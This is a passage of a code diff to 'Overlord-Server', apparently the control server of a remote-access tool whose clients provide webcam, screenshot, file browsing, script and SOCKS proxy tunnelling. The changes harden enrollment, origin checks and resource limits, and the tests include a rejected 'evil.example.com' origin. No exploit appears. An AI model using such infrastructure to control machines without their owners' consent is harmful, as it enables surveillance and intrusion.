+ CLIENT_INGRESS_MESSAGE_BURST,
+ (Number.isFinite(data.ingressMessageTokens) ? data.ingressMessageTokens! : CLIENT_INGRESS_MESSAGE_BURST)
+ + elapsedMs * CLIENT_INGRESS_MESSAGES_PER_SECOND / 1000,
+ );
+ data.ingressBudgetUpdatedAt = now;
+ if (size > byteTokens || messageTokens < 1) {
+ data.ingressByteTokens = byteTokens;
+ data.ingressMessageTokens = messageTokens;
+ return false;
+ }
+ data.ingressByteTokens = byteTokens - size;
+ data.ingressMessageTokens = messageTokens - 1;
+ return true;
}
export function handleWebSocketOpen(ws: ServerWebSocket, deps: WsLifecycleDeps): void {
@@ -348,6 +599,14 @@ export function handleWebSocketOpen(ws: ServerWebSocket, deps: WsLif
if (role === "notifications_viewer") return deps.handleNotificationViewerOpen(ws);
if (role === "chat_viewer") return deps.handleChatViewerOpen(ws);
+ const admission = enrollmentAdmission.admit(ws, ip);
+ if (!admission.ok) {
+ warnEnrollmentAdmissionDenied(admission.reason);
+ rejectEnrollment(ws);
+ try { ws.close(1013, "Enrollment capacity reached"); } catch {}
+ return;
+ }
+
const id = clientId || uuidv4();
ws.data.clientId = id;
ws.data.ip = ip;
@@ -356,17 +615,25 @@ export function handleWebSocketOpen(ws: ServerWebSocket, deps: WsLif
crypto.getRandomValues(nonceBytes);
const nonceBase64 = Buffer.from(nonceBytes).toString("base64");
ws.data.enrollmentNonce = nonceBase64;
+ ws.data.enrollmentState = "challenged";
- ws.send(encodeMessage({ type: "enrollment_challenge", nonce: nonceBase64 }));
+ try {
+ ws.send(encodeMessage({ type: "enrollment_challenge", nonce: nonceBase64 }));
+ } catch {
+ rejectEnrollment(ws);
+ try { ws.close(1011, "Enrollment challenge failed"); } catch {}
+ return;
+ }
- clearEnrollmentTimeout(id);
+ clearEnrollmentTimeout(ws);
const timeout = setTimeout(() => {
- enrollmentTimeouts.delete(id);
+ ws.data.enrollmentTimeout = undefined;
+ rejectEnrollment(ws);
try {
ws.close(4002, "enrollment_timeout");
} catch {}
}, ENROLLMENT_TIMEOUT_MS);
- enrollmentTimeouts.set(id, timeout);
+ ws.data.enrollmentTimeout = timeout;
}
export async function handleWebSocketMessage(
@@ -379,12 +646,14 @@ export async function handleWebSocketMessage(
const limit = getMaxPayloadLimit(role, deps.maxClientPayloadBytes, deps.maxViewerPayloadBytes);
if (size > limit) {
logger.warn(`[ws] closing socket due to oversized message (${size} > ${limit}) role=${role || "unknown"}`);
+ if (role === "client" && ws.data.enrollmentState !== "authenticated") {
+ rejectEnrollment(ws);
+ }
try {
ws.close(1009, "Message too large");
} catch {}
return;
}
-
const socketRole = ws.data.role as string;
if (isAuthenticatedViewerRole(ws.data.role) && !validateViewerAuthorization(ws)) return;
if (socketRole === "console_viewer") return deps.handleConsoleViewerMessage(ws, message);
@@ -400,6 +669,19 @@ export async function handleWebSocketMessage(
if (socketRole === "dashboard_viewer") return;
if (socketRole === "chat_viewer") return deps.handleChatViewerMessage(ws, message);
+ if (
+ socketRole === "client"
+ && ws.data.enrollmentState !== "authenticated"
+ && size > MAX_PRE_ENROLLMENT_MESSAGE_BYTES
+ ) {
+ logger.warn(
+ `[purgatory] closing pre-enrollment socket due to oversized message (${size} > ${MAX_PRE_ENROLLMENT_MESSAGE_BYTES})`,
+ );
+ rejectEnrollment(ws);
+ try { ws.close(1009, "Pre-enrollment message too large"); } catch {}
+ return;
+ }
+
const { clientId, ip } = ws.data;
let payload: WireMessage;
@@ -420,37 +702,88 @@ export async function handleWebSocketMessage(
return;
}
+ if (
+ socketRole === "client"
+ && payloadType !== "hello"
+ && ws.data.enrollmentState !== "authenticated"
+ ) {
+ logger.warn(`[purgatory] rejected ${payloadType} before hello completed for ${clientId}`);
+ rejectEnrollment(ws);
+ try { ws.close(4002, "hello_required"); } catch {}
+ return;
+ }
+
+ if (socketRole === "client" && ws.data.enrollmentState === "authenticated") {
+ const current = clientManager.getClient(clientId);
+ if (!current || current.ws !== ws) {
+ logger.warn(`[purgatory] rejected message from superseded socket for ${clientId}`);
+ rejectEnrollment(ws);
+ try { ws.close(4004, "superseded"); } catch {}
+ return;
+ }
+ }
+
const info = clientManager.getClient(clientId);
if (!info && payloadType !== "hello") return;
- if (info) info.lastSeen = Date.now();
+ if (info && ws.data.enrollmentState === "authenticated") {
+ info.lastSeen = Date.now();
+ }
const client = info!;
try {
switch (payloadType) {
case "hello": {
- clearEnrollmentTimeout(clientId);
+ const publicKeyInput = typeof (payload as any).publicKey === "string" ? (payload as any).publicKey : "";
+ const signatureInput = typeof (payload as any).signature === "string" ? (payload as any).signature : "";
+ const nonce = ws.data.enrollmentNonce;
- const publicKey = typeof (payload as any).publicKey === "string" ? (payload as any).publicKey : "";
- const signature = typeof (payload as any).signature === "string" ? (payload as any).signature : "";
- const nonce = ws.data.enrollmentNonce || "";
+ if (ws.data.enrollmentState !== "challenged" || !nonce) {
+ logger.warn(`[purgatory] unexpected second hello for ${clientId}`);
+ if (ws.data.enrollmentState !== "authenticated") {
+ rejectEnrollment(ws);
+ } else {
+ ws.data.enrollmentNonce = undefined;
+ clearEnrollmentTimeout(ws);
+ }
+ try { ws.close(4002, "unexpected_hello"); } catch {}
+ return;
+ }
- if (!publicKey || !signature || !nonce) {
+ // Consume the one-time challenge synchronously, before signature
+ // verification yields, so concurrent hello messages cannot replay it.
+ ws.data.enrollmentState = "verifying";
+ ws.data.enrollmentNonce = undefined;
+
+ const publicKeyBytes = decodeCanonicalBase64(publicKeyInput, 32);
+ const signatureBytes = decodeCanonicalBase64(signatureInput, 64);
+ if (!publicKeyBytes || !signatureBytes) {
logger.warn(`[purgatory] missing publicKey/signature/nonce for ${clientId}`);
+ rejectEnrollment(ws);
try { ws.close(4002, "invalid_signature"); } catch {}
return;
}
+ const publicKey = publicKeyInput;
+ const signature = signatureInput;
+
+ const verificationAdmission = enrollmentAdmission.beginVerification(ws);
+ if (!verificationAdmission.ok) {
+ warnEnrollmentAdmissionDenied(verificationAdmission.reason);
+ rejectEnrollment(ws);
+ try { ws.close(1013, "Enrollment verification capacity reached"); } catch {}
+ return;
+ }
const valid = await verifyEd25519(publicKey, signature, nonce);
+ if (ws.data.enrollmentState !== "verifying") return;
if (!valid) {
logger.warn(`[purgatory] invalid signature for ${clientId}`);
+ rejectEnrollment(ws);
try { ws.close(4002, "invalid_signature"); } catch {}
return;
}
- ws.data.enrollmentNonce = undefined;
-
const keyFingerprint = computeKeyFingerprint(publicKey);
const existing = lookupClientByPublicKey(publicKey);
@@ -461,12 +794,10 @@ export async function handleWebSocketMessage(
ws.data.clientId = existing.id;
} else {
enrollmentStatus = "pending";
-
- const existingPk = getClientPublicKeyById(ws.data.clientId);
- if (existingPk && existingPk !== publicKey) {
- ws.data.clientId = keyFingerprint;
- logger.info(`[purgatory] ID collision detected — reassigned to ${keyFingerprint}`);
- }
+ // Client IDs are attacker-controlled at the upgrade URL. Persist a
+ // canonical identity derived from the proved key for every fresh
+ // enrollment, not only when a claimed ID happens to collide.
+ ws.data.clientId = keyFingerprint;
}
if (enrollmentStatus !== "approved" && enrollmentStatus !== "denied" && enrollmentStatus !== "pending") {
@@ -474,10 +805,19 @@ export async function handleWebSocketMessage(
enrollmentStatus = "pending";
}
- const resolvedId = ws.data.clientId;
- const buildTag = typeof (payload as any).buildTag === "string"
+ let resolvedId = ws.data.clientId;
+ const reportedBuildTag = typeof (payload as any).buildTag === "string"
? (payload as any).buildTag.trim()
: "";
+ const storedBuildTag = existing
+ ? getClientBuildOwnership(existing.id)?.buildTag || ""
+ : "";
+ const buildTag = storedBuildTag || reportedBuildTag;
+ if (storedBuildTag && reportedBuildTag !== storedBuildTag) {
+ logger.warn(
+ `[build-block] client ${resolvedId} reported a changed or missing build tag; enforcing its enrolled build identity`,
+ );
+ }
let resolvedBuildId: string | null = null;
let builtByUserId: number | undefined;
@@ -486,6 +826,7 @@ export async function handleWebSocketMessage(
if (buildTag) {
const verified = await verifyBuildToken(buildTag);
+ if (ws.data.enrollmentState !== "verifying") return;
if (verified) {
resolvedBuildId = verified.bid;
builtByUserId = verified.uid ?? undefined;
@@ -521,6 +862,7 @@ export async function handleWebSocketMessage(
}),
);
} catch {}
+ rejectEnrollment(ws);
try { ws.close(4007, "build_blocked"); } catch {}
return;
}
@@ -528,6 +870,7 @@ export async function handleWebSocketMessage(
if (enrollmentStatus === "denied") {
logger.info(`[purgatory] denied client ${resolvedId} tried to connect`);
ws.send(encodeMessage({ type: "enrollment_status", status: "denied" }));
+ rejectEnrollment(ws);
try { ws.close(4003, "denied"); } catch {}
return;
}
@@ -561,10 +904,10 @@ export async function handleWebSocketMessage(
if (enrollmentStatus !== "approved") {
const geoip = await getGeoip();
+ if (ws.data.enrollmentState !== "verifying") return;
const geo = ip ? geoip.lookup(ip) : undefined;
const countryRaw = geo?.country || (payload as any).country || "ZZ";
const country = /^[A-Z]{2}$/i.test(countryRaw) ? countryRaw.toUpperCase() : "ZZ";
- const initialTagForNewClient = existing || clientExists(resolvedId) ? undefined : initialClientTag;
const _s = (v: unknown, max = 256): string | undefined => {
if (typeof v !== "string") return undefined;
@@ -576,32 +919,51 @@ export async function handleWebSocketMessage(
return n >= 0 && n <= 100 ? n : undefined;
};
const batteryPercent = _percent((payload as any).batteryPercent);
- upsertClientRow({
- id: resolvedId,
- hwid: _s((payload as any).hwid) || resolvedId,
- role: "client",
- ip: ip || undefined,
- host: _s((payload as any).host),
- os: _s((payload as any).os),
- arch: _s((payload as any).arch, 32),
- version: _s((payload as any).version, 64),
- user: _s((payload as any).user),
- monitors: (payload as any).monitors || undefined,
- cpu: _s((payload as any).cpu),
- gpu: _s((payload as any).gpu),
- ram: _s((payload as any).ram, 64),
- batteryPercent,
- batteryCharging: batteryPercent !== undefined ? !!(payload as any).batteryCharging : undefined,
- country,
- lastSeen: Date.now(),
- online: 0 as any,
- publicKey,
- keyFingerprint,
- enrollmentStatus: "pending",
- buildTag: buildTag || undefined,
- builtByUserId,
- ...(initialTagForNewClient ? { customTag: initialTagForNewClient } : {}),
- });
+ const storePendingClient = (targetId: string): boolean => {
+ const initialTagForNewClient = existing || clientExists(targetId)
+ ? undefined
+ : initialClientTag;
+ return upsertPendingClientRow({
+ id: targetId,
+ hwid: _s((payload as any).hwid) || targetId,
+ role: "client",
+ ip: ip || undefined,
+ host: _s((payload as any).host),
+ os: _s((payload as any).os),
+ arch: _s((payload as any).arch, 32),
+ version: _s((payload as any).version, 64),
+ user: _s((payload as any).user),
+ monitors: (payload as any).monitors || undefined,
+ cpu: _s((payload as any).cpu),
+ gpu: _s((payload as any).gpu),
+ ram: _s((payload as any).ram, 64),
+ batteryPercent,
+ batteryCharging: batteryPercent !== undefined ? !!(payload as any).batteryCharging : undefined,
+ country,
+ lastSeen: Date.now(),
+ online: 0 as any,
+ publicKey,
+ keyFingerprint,
+ enrollmentStatus: "pending",
+ buildTag: buildTag || undefined,
+ builtByUserId,
+ ...(initialTagForNewClient ? { customTag: initialTagForNewClient } : {}),
+ });
+ };
+
+ let storedPendingClient = storePendingClient(resolvedId);
+ if (!storedPendingClient && resolvedId !== keyFingerprint) {
+ resolvedId = keyFingerprint;
+ ws.data.clientId = resolvedId;
+ logger.info(`[purgatory] concurrent ID collision detected — reassigned to ${resolvedId}`);
+ storedPendingClient = storePendingClient(resolvedId);
+ }
+ if (!storedPendingClient) {
+ logger.warn(`[purgatory] unable to reserve identity for ${resolvedId}`);
+ rejectEnrollment(ws);
+ try { ws.close(4002, "identity_collision"); } catch {}
+ return;
+ }
logger.info(`[purgatory] client ${resolvedId} is pending approval`);
ws.send(encodeMessage({ type: "enrollment_status", status: "pending" }));
@@ -625,17 +987,44 @@ export async function handleWebSocketMessage(
country,
});
}
+ rejectEnrollment(ws);
setTimeout(() => { try { ws.close(4001, "pending"); } catch {} }, 100);
return;
}
}
+ let wasKnown = clientExists(resolvedId);
+ const reserveApprovedIdentity = (targetId: string): boolean => upsertClientRow({
+ id: targetId,
+ publicKey,
+ keyFingerprint,
+ enrollmentStatus: "approved",
+ buildTag: buildTag || undefined,
+ builtByUserId,
+ online: 0 as any,
+ lastSeen: Date.now(),
+ });
+
+ let storedApprovedIdentity = reserveApprovedIdentity(resolvedId);
+ if (!storedApprovedIdentity && resolvedId !== keyFingerprint) {
+ resolvedId = keyFingerprint;
+ ws.data.clientId = resolvedId;
+ wasKnown = clientExists(resolvedId);
+ logger.info(`[purgatory] concurrent approved ID collision detected — reassigned to ${resolvedId}`);
+ storedApprovedIdentity = reserveApprovedIdentity(resolvedId);
+ }
+ if (!storedApprovedIdentity) {
+ logger.warn(`[purgatory] unable to reserve approved identity for ${resolvedId}`);
+ rejectEnrollment(ws);
+ try { ws.close(4002, "identity_collision"); } catch {}
+ return;
+ }
+
const existingClient = clientManager.getClient(resolvedId);
if (existingClient?.ws && existingClient.ws !== ws) {
logger.info(`[purgatory] kicking existing socket for ${resolvedId} (superseded)`);
try { existingClient.ws.close(4004, "superseded"); } catch {}
clientManager.deleteClient(resolvedId);
- clearEnrollmentTimeout(resolvedId);
stopAllProxiesForClient(resolvedId);
deps.clearPendingNotificationScreenshots(resolvedId);
deps.clearClientPluginState(resolvedId);
@@ -658,7 +1047,6 @@ export async function handleWebSocketMessage(
deps.webcamStreamingState.delete(resolvedId);
}
- const wasKnown = clientExists(resolvedId);
ws.data.wasKnown = wasKnown;
const initialTagForNewClient = wasKnown ? undefined : initialClientTag;
@@ -675,7 +1063,6 @@ export async function handleWebSocketMessage(
enrollmentStatus: "approved" as any,
...(initialTagForNewClient ? { customTag: initialTagForNewClient } : {}),
};
- clientManager.addClient(resolvedId, infoObj);
queueClientDbUpdate({
id: resolvedId,
@@ -690,6 +1077,27 @@ export async function handleWebSocketMessage(
});
await handleHello(infoObj, payload as Hello, ws, ip);
+ if (ws.data.enrollmentState !== "verifying") {
+ const current = clientManager.getClient(resolvedId);
+ if (current?.ws === ws) {
+ clientManager.deleteClient(resolvedId);
+ clearClientSyncState(resolvedId);
+ } else if (!current) {
+ clearClientSyncState(resolvedId);
+ }
+ return;
+ }
+ const helloWinner = clientManager.getClient(resolvedId);
+ if (helloWinner?.ws && helloWinner.ws !== ws) {
+ logger.warn(`[purgatory] concurrent hello lost for ${resolvedId}`);
+ rejectEnrollment(ws);
+ try { ws.close(4004, "superseded"); } catch {}
+ return;
+ }
+ ws.data.enrollmentState = "authenticated";
+ clearEnrollmentTimeout(ws);
+ releaseEnrollmentAdmission(ws);
+ clientManager.addClient(resolvedId, infoObj);
const lastCrashReason = sanitizeCrashString((payload as any).lastCrashReason, 64);
if (lastCrashReason) {
deps.handleCrashReport(resolvedId, {
@@ -789,7 +1197,8 @@ export async function handleWebSocketMessage(
} else if ((payload as any).data instanceof ArrayBuffer) {
bytes = new Uint8Array((payload as any).data);
} else if (ArrayBuffer.isView((payload as any).data)) {
- bytes = new Uint8Array((payload as any).data.buffer);
+ const view = (payload as any).data as ArrayBufferView;
+ bytes = new Uint8Array(view.buffer, view.byteOffset, view.byteLength);
}
const format = String((payload as any)?.header?.format || "jpeg");
@@ -834,7 +1243,7 @@ export async function handleWebSocketMessage(
case "command_result":
if (payloadType === "command_result" && typeof (payload as any).commandId === "string") {
const pending = deps.pendingCommandReplies.get((payload as any).commandId);
- if (pending) {
+ if (pending?.clientId === client.id) {
clearTimeout(pending.timeout);
pending.resolve({
ok: Boolean((payload as any).ok),
@@ -850,6 +1259,7 @@ export async function handleWebSocketMessage(
(payload as any).commandId,
(payload as any).ok,
(payload as any).message,
+ client.id,
);
deps.handleFileBrowserMessage(client.id, payload);
if (payloadType === "command_result" && typeof (payload as any).commandId === "string") {
@@ -863,7 +1273,7 @@ export async function handleWebSocketMessage(
case "client_logs_result":
if (typeof (payload as any).commandId === "string") {
const pending = deps.pendingCommandReplies.get((payload as any).commandId);
- if (pending) {
+ if (pending?.clientId === client.id) {
clearTimeout(pending.timeout);
pending.resolve({
ok: Boolean((payload as any).ok),
@@ -895,6 +1305,7 @@ export async function handleWebSocketMessage(
const cmdId = (payload as any).commandId;
if (cmdId && deps.pendingScripts.has(cmdId)) {
const pending = deps.pendingScripts.get(cmdId)!;
+ if (pending.clientId !== client.id) break;
clearTimeout(pending.timeout);
pending.resolve({
ok: (payload as any).ok,
@@ -953,9 +1364,8 @@ export async function handleWebSocketMessage(
break;
case "proxy_data": {
const connId = (payload as any).connectionId;
- const tunnelData = (payload as any).data;
- if (typeof connId === "string" && tunnelData) {
- const bytes = tunnelData instanceof Uint8Array ? tunnelData : new Uint8Array(tunnelData);
+ const bytes = normalizeProxyTunnelChunk((payload as any).data);
+ if (typeof connId === "string" && connId.length > 0 && connId.length <= 128 && bytes) {
deps.handleProxyTunnelData(client.id, connId, bytes);
}
break;
@@ -968,12 +1378,11 @@ export async function handleWebSocketMessage(
break;
}
case "disconnect_info": {
- const reason = typeof (payload as any).reason === "string" ? (payload as any).reason : "";
- const detail = typeof (payload as any).detail === "string" ? (payload as any).detail : "";
- if (reason) {
- ws.data.disconnectReason = reason;
- ws.data.disconnectDetail = detail || undefined;
- logger.debug(`[disconnect_info] ${client.id} reason=${reason}`);
+ const disconnect = normalizeDisconnectInfo(payload);
+ if (disconnect) {
+ ws.data.disconnectReason = disconnect.reason;
+ ws.data.disconnectDetail = disconnect.detail;
+ logger.debug(`[disconnect_info] ${client.id} reason=${disconnect.reason}`);
}
break;
}
@@ -981,7 +1390,11 @@ export async function handleWebSocketMessage(
break;
}
} catch (err) {
- logger.error("[message] decode error", err);
+ logger.error("[message] handler error", err);
+ if (socketRole === "client" && ws.data.enrollmentState !== "authenticated") {
+ rejectEnrollment(ws);
+ try { ws.close(1011, "enrollment_error"); } catch {}
+ }
}
}
@@ -996,7 +1409,8 @@ export function handleWebSocketClose(
const role = ws.data.role as string;
const sessionId = ws.data.sessionId;
- clearEnrollmentTimeout(clientId);
+ clearEnrollmentTimeout(ws);
+ releaseEnrollmentAdmission(ws);
if (role === "console_viewer") {
if (sessionId) {
@@ -1125,6 +1539,14 @@ export function handleWebSocketClose(
return;
}
+ // Until hello authentication completes, clientId is only an untrusted URL
+ // claim. It must not drive cleanup for a real client with that ID.
+ if (role === "client" && ws.data.enrollmentState !== "authenticated") {
+ ws.data.enrollmentState = "rejected";
+ ws.data.enrollmentNonce = undefined;
+ return;
+ }
+
const currentClient = clientManager.getClient(clientId);
if (currentClient && currentClient.ws !== ws) {
return;
diff --git a/Overlord-Server/src/server/routes/ws-upgrade-origin.test.ts b/Overlord-Server/src/server/routes/ws-upgrade-origin.test.ts
new file mode 100644
index 0000000..248bcef
--- /dev/null
+++ b/Overlord-Server/src/server/routes/ws-upgrade-origin.test.ts
@@ -0,0 +1,61 @@
+import { describe, expect, test } from "bun:test";
+import { handleWsUpgradeRoutes, normalizeClaimedClientId } from "./ws-upgrade-routes";
+
+function makeServer(ip: string) {
+ let upgraded = false;
+ return {
+ requestIP: () => ({ address: ip }),
+ upgrade: () => {
+ upgraded = true;
+ return true;
+ },
+ wasUpgraded: () => upgraded,
+ };
+}
+
+describe("WebSocket browser origin boundary", () => {
+ test("bounds and sanitizes the untrusted agent ID path segment", () => {
+ expect(normalizeClaimedClientId("normal-client_1", () => "fallback")).toBe("normal-client_1");
+ expect(normalizeClaimedClientId("..%2Funsafe", () => "fallback")).toBe("fallback");
+ expect(normalizeClaimedClientId("x".repeat(129), () => "fallback")).toBe("fallback");
+ expect(normalizeClaimedClientId("%E0%A4%A", () => "fallback")).toBe("fallback");
+ });
+
+ test("rejects sibling and missing origins on viewer sockets", async () => {
+ const cases: HeadersInit[] = [
+ { Origin: "https://evil.example.com", "Sec-Fetch-Site": "same-site" },
+ {},
+ ];
+ for (const headers of cases) {
+ const req = new Request("https://overlord.example.com/api/dashboard/ws", { headers });
+ const server = makeServer(`198.51.100.${Math.floor(Math.random() * 100 + 1)}`);
+ const response = await handleWsUpgradeRoutes(req, new URL(req.url), server, {
+ isAuthorizedAgentRequest: () => false,
+ });
+ expect(response?.status).toBe(403);
+ expect(server.wasUpgraded()).toBe(false);
+ }
+ });
+
+ test("allows native agent upgrades without an Origin header", async () => {
+ const req = new Request("https://overlord.example.com/api/clients/native-agent/stream/ws");
+ const server = makeServer("198.51.100.201");
+ const response = await handleWsUpgradeRoutes(req, new URL(req.url), server, {
+ isAuthorizedAgentRequest: () => true,
+ });
+ expect(response?.status).toBe(200);
+ expect(server.wasUpgraded()).toBe(true);
+ });
+
+ test("same-origin viewer request reaches authentication", async () => {
+ const req = new Request("https://overlord.example.com/api/dashboard/ws", {
+ headers: { Origin: "https://overlord.example.com", "Sec-Fetch-Site": "same-origin" },
+ });
+ const server = makeServer("198.51.100.202");
+ const response = await handleWsUpgradeRoutes(req, new URL(req.url), server, {
+ isAuthorizedAgentRequest: () => false,
+ });
+ expect(response?.status).toBe(401);
+ expect(server.wasUpgraded()).toBe(false);
+ });
+});
diff --git a/Overlord-Server/src/server/routes/ws-upgrade-routes.ts b/Overlord-Server/src/server/routes/ws-upgrade-routes.ts
index fb1d492..fd75058 100644
--- a/Overlord-Server/src/server/routes/ws-upgrade-routes.ts
+++ b/Overlord-Server/src/server/routes/ws-upgrade-routes.ts
@@ -5,6 +5,7 @@ import { isIpBanned } from "../../db";
import type { FeatureName, UserRole } from "../../users";
import { hasPermission, requireClientAccess, requireFeatureAccess } from "../../rbac";
import type { SocketRole } from "../../sessions/types";
+import { isSameOriginBrowserRequest } from "../request-origin";
type RequestServer = {
requestIP: (req: Request) => { address?: string } | null | undefined;
@@ -73,6 +74,19 @@ type AuthenticatedUser = {
role: UserRole;
};
+export function normalizeClaimedClientId(
+ rawValue: string,
+ fallback: () => string = () => crypto.randomUUID(),
+): string {
+ let decoded = "";
+ try {
+ decoded = decodeURIComponent(rawValue);
+ } catch {
+ return fallback();
+ }
+ return /^[A-Za-z0-9._:-]{1,128}$/.test(decoded) ? decoded : fallback();
+}
+
type ClientViewerUpgradeRoute = {
pattern: RegExp;
role: SocketRole;
@@ -180,6 +194,10 @@ async function tryClientViewerUpgrade(
const match = url.pathname.match(route.pattern);
if (!match) continue;
+ if (!isSameOriginBrowserRequest(req, url, { requireOrigin: true })) {
+ return new Response("Forbidden: invalid WebSocket origin", { status: 403 });
+ }
+
const user = await authenticateViewerRequest(req);
if (user instanceof Response) return user;
@@ -220,6 +238,10 @@ async function tryGlobalViewerUpgrade(
const route = globalViewerUpgradeRoutes.find((candidate) => candidate.path === url.pathname);
if (!route) return null;
+ if (!isSameOriginBrowserRequest(req, url, { requireOrigin: true })) {
+ return new Response("Forbidden: invalid WebSocket origin", { status: 403 });
+ }
+
const user = await authenticateViewerRequest(req);
if (user instanceof Response) return user;
@@ -255,7 +277,7 @@ export async function handleWsUpgradeRoutes(
if (!deps.isAuthorizedAgentRequest(req, url)) {
return new Response("Unauthorized", { status: 401 });
}
- const clientId = wsMatch[1];
+ const clientId = normalizeClaimedClientId(wsMatch[1]);
const role = "client";
if (ip && isIpBanned(ip)) {
logger.warn(`[auth] Rejected banned IP ${ip} for client ${clientId}`);
diff --git a/Overlord-Server/src/server/runtime-constants.ts b/Overlord-Server/src/server/runtime-constants.ts
index c326220..50227dd 100644
--- a/Overlord-Server/src/server/runtime-constants.ts
+++ b/Overlord-Server/src/server/runtime-constants.ts
@@ -11,9 +11,5 @@ export const STALE_MS = positiveIntEnv("OVERLORD_STALE_MS", 90_000);
export const DISCONNECT_TIMEOUT_MS = positiveIntEnv("OVERLORD_DISCONNECT_TIMEOUT_MS", 10_000);
export const PRUNE_BATCH = Number(process.env.PRUNE_BATCH || 500);
-export const MAX_WS_MESSAGE_BYTES_VIEWER = Number(
- process.env.MAX_WS_MESSAGE_BYTES_VIEWER || 1_000_000,
-);
-export const MAX_WS_MESSAGE_BYTES_CLIENT = Number(
- process.env.MAX_WS_MESSAGE_BYTES_CLIENT || 64_000_000,
-);
+export const MAX_WS_MESSAGE_BYTES_VIEWER = positiveIntEnv("MAX_WS_MESSAGE_BYTES_VIEWER", 64_000_000);
+export const MAX_WS_MESSAGE_BYTES_CLIENT = positiveIntEnv("MAX_WS_MESSAGE_BYTES_CLIENT", 256_000_000);
diff --git a/Overlord-Server/src/server/socks5-proxy-manager.test.ts b/Overlord-Server/src/server/socks5-proxy-manager.test.ts
new file mode 100644
index 0000000..e3935e2
--- /dev/null
+++ b/Overlord-Server/src/server/socks5-proxy-manager.test.ts
@@ -0,0 +1,60 @@
+import { describe, expect, test } from "bun:test";
+import {
+ enqueueSocksBuffer,
+ hasSocksConnectionCapacity,
+ SOCKS_PROXY_BIND_HOST,
+ SOCKS_PROXY_CONNECT_TIMEOUT_SECONDS,
+ SOCKS_PROXY_HANDSHAKE_TIMEOUT_SECONDS,
+ SOCKS_PROXY_IDLE_TIMEOUT_SECONDS,
+ SOCKS_PROXY_MAX_CLIENT_CONNECTIONS,
+ SOCKS_PROXY_MAX_CLIENT_LISTENERS,
+ SOCKS_PROXY_MAX_GLOBAL_CONNECTIONS,
+ SOCKS_PROXY_MAX_GLOBAL_LISTENERS,
+ SOCKS_PROXY_MAX_PENDING_BYTES,
+ SOCKS_PROXY_MAX_WRITE_QUEUE_BYTES,
+} from "./socks5-proxy-manager";
+
+describe("SOCKS proxy security limits", () => {
+ test("binds only to loopback by default", () => {
+ expect(SOCKS_PROXY_BIND_HOST).toBe("127.0.0.1");
+ });
+
+ test("accepts buffers up to a byte limit and rejects overflow without mutating the queue", () => {
+ const queue: Buffer[] = [];
+ let queuedBytes = enqueueSocksBuffer(queue, 0, Buffer.alloc(4), 6);
+ expect(queuedBytes).toBe(4);
+ expect(queue).toHaveLength(1);
+
+ queuedBytes = enqueueSocksBuffer(queue, queuedBytes!, Buffer.alloc(3), 6);
+ expect(queuedBytes).toBeNull();
+ expect(queue).toHaveLength(1);
+ expect(queue[0].byteLength).toBe(4);
+ });
+
+ test("uses finite pending and slow-writer queue budgets", () => {
+ expect(SOCKS_PROXY_MAX_PENDING_BYTES).toBeGreaterThan(0);
+ expect(SOCKS_PROXY_MAX_PENDING_BYTES).toBeLessThanOrEqual(64 * 1024 * 1024);
+ expect(SOCKS_PROXY_MAX_WRITE_QUEUE_BYTES).toBeGreaterThan(0);
+ expect(SOCKS_PROXY_MAX_WRITE_QUEUE_BYTES).toBeLessThanOrEqual(128 * 1024 * 1024);
+ });
+
+ test("enforces finite listener and tunnel connection budgets", () => {
+ expect(SOCKS_PROXY_MAX_GLOBAL_LISTENERS).toBeGreaterThan(0);
+ expect(SOCKS_PROXY_MAX_GLOBAL_LISTENERS).toBeLessThanOrEqual(1_024);
+ expect(SOCKS_PROXY_MAX_CLIENT_LISTENERS).toBeGreaterThan(0);
+ expect(SOCKS_PROXY_MAX_CLIENT_LISTENERS).toBeLessThanOrEqual(SOCKS_PROXY_MAX_GLOBAL_LISTENERS);
+
+ expect(hasSocksConnectionCapacity(0, 0)).toBe(true);
+ expect(hasSocksConnectionCapacity(SOCKS_PROXY_MAX_GLOBAL_CONNECTIONS, 0)).toBe(false);
+ expect(hasSocksConnectionCapacity(0, SOCKS_PROXY_MAX_CLIENT_CONNECTIONS)).toBe(false);
+ });
+
+ test("uses bounded handshake, connect, and idle timeouts", () => {
+ expect(SOCKS_PROXY_HANDSHAKE_TIMEOUT_SECONDS).toBeGreaterThan(0);
+ expect(SOCKS_PROXY_HANDSHAKE_TIMEOUT_SECONDS).toBeLessThanOrEqual(30);
+ expect(SOCKS_PROXY_CONNECT_TIMEOUT_SECONDS).toBeGreaterThan(0);
+ expect(SOCKS_PROXY_CONNECT_TIMEOUT_SECONDS).toBeLessThanOrEqual(60);
+ expect(SOCKS_PROXY_IDLE_TIMEOUT_SECONDS).toBeGreaterThan(0);
+ expect(SOCKS_PROXY_IDLE_TIMEOUT_SECONDS).toBeLessThanOrEqual(10 * 60);
+ });
+});
diff --git a/Overlord-Server/src/server/socks5-proxy-manager.ts b/Overlord-Server/src/server/socks5-proxy-manager.ts
index 7784dae..d589077 100644
--- a/Overlord-Server/src/server/socks5-proxy-manager.ts
+++ b/Overlord-Server/src/server/socks5-proxy-manager.ts
@@ -21,6 +21,39 @@ import { encodeMessage } from "../protocol";
import * as clientManager from "../clientManager";
import { logger } from "../logger";
+export const SOCKS_PROXY_BIND_HOST = "127.0.0.1";
+export const SOCKS_PROXY_MAX_PENDING_BYTES = 64 * 1024 * 1024;
+export const SOCKS_PROXY_MAX_WRITE_QUEUE_BYTES = 128 * 1024 * 1024;
+export const SOCKS_PROXY_MAX_GLOBAL_CONNECTIONS = 4_096;
+export const SOCKS_PROXY_MAX_CLIENT_CONNECTIONS = 1_024;
+export const SOCKS_PROXY_MAX_GLOBAL_LISTENERS = 1_024;
+export const SOCKS_PROXY_MAX_CLIENT_LISTENERS = 256;
+export const SOCKS_PROXY_HANDSHAKE_TIMEOUT_SECONDS = 15;
+export const SOCKS_PROXY_CONNECT_TIMEOUT_SECONDS = 30;
+export const SOCKS_PROXY_IDLE_TIMEOUT_SECONDS = 5 * 60;
+const SOCKS_PROXY_MAX_HANDSHAKE_BYTES = 8 * 1024;
+
+export function hasSocksConnectionCapacity(
+ globalConnections: number,
+ clientConnections: number,
+): boolean {
+ return globalConnections < SOCKS_PROXY_MAX_GLOBAL_CONNECTIONS
+ && clientConnections < SOCKS_PROXY_MAX_CLIENT_CONNECTIONS;
+}
+
+export function enqueueSocksBuffer(
+ queue: Buffer[],
+ currentBytes: number,
+ data: Buffer | Uint8Array,
+ maxBytes: number,
+): number | null {
+ const buffer = Buffer.isBuffer(data) ? data : Buffer.from(data);
+ if (buffer.byteLength === 0) return currentBytes;
+ if (currentBytes < 0 || buffer.byteLength > maxBytes - currentBytes) return null;
+ queue.push(buffer);
+ return currentBytes + buffer.byteLength;
